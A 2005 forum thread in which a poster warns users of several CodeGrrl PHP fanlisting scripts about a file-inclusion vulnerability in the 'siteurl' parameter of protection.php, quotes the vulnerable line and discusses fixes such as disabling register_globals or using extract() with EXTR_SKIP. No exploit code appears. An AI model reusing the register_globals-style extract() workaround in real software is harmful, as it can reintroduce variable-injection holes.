CodeGrrl PHP scripts vulnerability

[Jonathan]

An error in several GodeGrrl PHP scripts has been found that can potentially let a malicious web user read any file on your website, upload their own files, or otherwise cause mischief and mayhem. The vulnerable scripts are:

PHPCurrently version 2.0 and prior
PHPQuotes version 1.0 and prior
PHPCalendar version 1.0 and prior
PHPClique version 1.0 and prior
PHPFanBase version 2.1 and prior

Input passed to the "siteurl" parameter in "protection.php" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from external and local resources.

REMEDIES:

If you have the ability to edit the php.ini file (PHP configuration file) on your webserver, set the "register_globals" variable to "off".*

If you do not have the ability to edit the configuration file, consider using an alternate script system until a new version is provided that fixes the vulnerability.

OR, if you are an uber PHP guru, you can edit protection.php yourself to make sure the siteurl variable has not been tainted.

References:
http://secunia.com/advisories/17542/
http://www.frsirt.com/english/advisories/2005/2402


*NOTE: I do not know if setting "register_globals" to "off" will break any of the scripts.

EDIT: That will teach me to multi-task while trying to process someone else's code. I incorrectly diagnosed the problem from the security advisories above. Text of post changed to reflect actual threat. Thread opened for discussion and sharing of suggestions of how to ensure the siteurl variable is not tainted.

[Jonathan]

*bump*
important changes to post.

[Shadow]

Thank you, Johan! *has quickly converted the last phpfanbase fanlisting to Enth on her server* @_@

[Firefly]

Thanks for opening up the thread.

I have a question on this issue.  I don't use Fanbase, but my two hostees do.  Now, the issue is with the part of the protection.php?

Code: [Select]

// This is the page to show when the user has been logged out
$logout_page = "$siteurl";

[Mura]

I know other CodeGrrl scripts, as they are now, assume register_globals is turned on, so it's likely that these will break when it's turned off. If so, they can probably be fixed by adding this somewhere:

Code: [Select]

extract($_GET, EXTR_SKIP);
extract($_POST, EXTR_SKIP);

I'm told that doesn't compromise security, but Johan can probably say whether or not it really does better than I can. ^^

[Shell]

I have a question....before when I used phpfanbase I had to add the

Code: [Select]

php_flag register_globals on
to my .htaccess to get the script to work.  Now that I use Enthusiast, should I remove this snippet from my .htaccess?

[Mura]

[quote name='Shell' date='Nov 14 2005, 08:40 PM']I have a question....before when I used phpfanbase I had to add the

Code: [Select]

php_flag register_globals on
to my .htaccess to get the script to work.  Now that I use Enthusiast, should I remove this snippet from my .htaccess?

[post=\"115790\"]<{POST_SNAPBACK}>[/post]

[/quote]


Yeah, remove it. Enthusiast doesn't depend on register_globals, and it's safer to have it off. ^_^

[Shell]

that's what i figured....it just never occured to me b/c I simply forgot about it *L*

*goes to fix 22 fls now  ^_^*

[Jonathan]

[quote name='Firefly' date='Nov 14 2005, 05:51 PM']Thanks for opening up the thread.

I have a question on this issue.  I don't use Fanbase, but my two hostees do.  Now, the issue is with the part of the protection.php?

Code: [Select]

// This is the page to show when the user has been logged out
$logout_page = "$siteurl";

[post=\"115777\"]<{POST_SNAPBACK}>[/post]

[/quote]
Yes, that is the problem code there.

[Jonathan]

[quote name='Mura' date='Nov 14 2005, 05:54 PM']I know other CodeGrrl scripts, as they are now, assume register_globals is turned on, so it's likely that these will break when it's turned off. If so, they can probably be fixed by adding this somewhere:

Code: [Select]

extract($_GET, EXTR_SKIP);
extract($_POST, EXTR_SKIP);I'm told that doesn't compromise security, but Johan can probably say whether or not it really does better than I can. ^^

[post=\"115778\"]<{POST_SNAPBACK}>[/post]

[/quote]
According to the PHP online manual, extract breaks an array into individual variables. The "EXTR_SKIP" flag prevents PHP from clobbering existing variables with the extracted data:

Code: [Select]

Do not use extract() on untrusted data, like user-input ($_GET, ...). If you do, for example, if you want to run old code that relies on register_globals  temporarily, make sure you use one of the non-overwriting extract_type values such as EXTR_SKIP and be aware that you should extract in the same order that's defined in variables_order within the php.ini.Basically what it's saying is when you use it on $_GET and $_POST, ALWAYS add the EXTR_SKIP flag to make sure the get and post data doesn't overwrite your existing variables. Of course not using "register_globals" is encouraged by the PHP folks, but this appears to be a decent fix.

[Jonathan]

(whee, 3 in a row)

Just to be clear, I want to state that in an effort to remain impartial to popular management systems, I am not naming alternatives, nor am I badmouthing CodeGrrl's scripts. I am just alerting potential users of those scripts of vulnerabilities that have been found and documented.

[Firefly]

Thanks.  Since I use Enthusiast though, I can't turn the register globals off.  =.=  So I'm making a quckie script for my hostees to use.

[Mura]

[quote name='Firefly' date='Nov 15 2005, 07:48 PM']Thanks.  Since I use Enthusiast though, I can't turn the register globals off.  =.=  So I'm making a quckie script for my hostees to use.

[post=\"116059\"]<{POST_SNAPBACK}>[/post]

[/quote]



...Yes you can. Enthusiast doesn't require register_globals.

[Firefly]

Er, rather, they are off.  Blah, just ignore me.

[Tracy]

good thing i'm changing to enth3 o.o